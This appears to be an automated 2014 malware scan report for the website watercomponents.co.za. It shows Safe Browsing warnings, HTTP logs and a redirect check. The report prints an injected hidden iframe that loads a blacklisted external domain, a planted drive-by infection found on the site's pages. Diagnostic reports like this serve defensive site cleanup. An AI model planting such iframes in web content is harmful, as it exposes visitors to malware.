Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=watercomponents.co.za
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://watercomponents.co.za/ | 200 OK Content-Length: 9570 Content-Type: text/html | malicious |
Page code contains blacklisted domain: nmsbaseball.com ...[570 bytes skipped]... document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <iframe name=Twitter scrolling=auto frameborder=no align=center height=21 width=23 src=http://nmsbaseball.com/post.php?id=447257></iframe></body> </html> Malicious iFrame found. size: 23x21 src: http://nmsbaseball.com/post.php?id=447257 This URL is marked by Google as suspicious <iframe name=twitter scrolling=auto frameborder=no align=center height=21 width=23 src=http://nmsbaseball.com/post.php?id=447257> | ||
http://watercomponents.co.za/test404page.js | 404 Not Found Content-Length: 5844 Content-Type: text/html | malicious |
Page code contains blacklisted domain: nmsbaseball.com ...[577 bytes skipped]... document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <iframe name=Twitter scrolling=auto frameborder=no align=center height=87 width=75 src=http://nmsbaseball.com/post.php?id=447257></iframe></body> </html> Malicious iFrame found. size: 75x87 src: http://nmsbaseball.com/post.php?id=447257 This URL is marked by Google as suspicious <iframe name=twitter scrolling=auto frameborder=no align=center height=87 width=75 src=http://nmsbaseball.com/post.php?id=447257> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: watercomponents.co.za
Result:
HTTP/1.1 200 OK
Cache-Control: private, must-revalidate
Connection: close
Date: Sat, 07 Jun 2014 23:12:57 GMT
Server: Apache
Content-Length: 9570
Content-Type: text/html; charset=UTF-8
P3P: CP="NOI NID ADMa OUR IND UNI COM NAV"
Set-Cookie: SN51063b144ba4a=a5hv1f52sneekd39e24t86p460; path=/
Set-Cookie: SN51063b144ba4a=a5hv1f52sneekd39e24t86p460; path=/
...9570 bytes of data.
GET / HTTP/1.1
Host: watercomponents.co.za
Result:
HTTP/1.1 200 OK
Cache-Control: private, must-revalidate
Connection: close
Date: Sat, 07 Jun 2014 23:12:57 GMT
Server: Apache
Content-Length: 9570
Content-Type: text/html; charset=UTF-8
P3P: CP="NOI NID ADMa OUR IND UNI COM NAV"
Set-Cookie: SN51063b144ba4a=a5hv1f52sneekd39e24t86p460; path=/
Set-Cookie: SN51063b144ba4a=a5hv1f52sneekd39e24t86p460; path=/
...9570 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: watercomponents.co.za
Referer: http://www.google.com/search?q=watercomponents.co.za
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: watercomponents.co.za
Referer: http://www.google.com/search?q=watercomponents.co.za
Result:
The result is similar to the first query. There are no suspicious redirects found.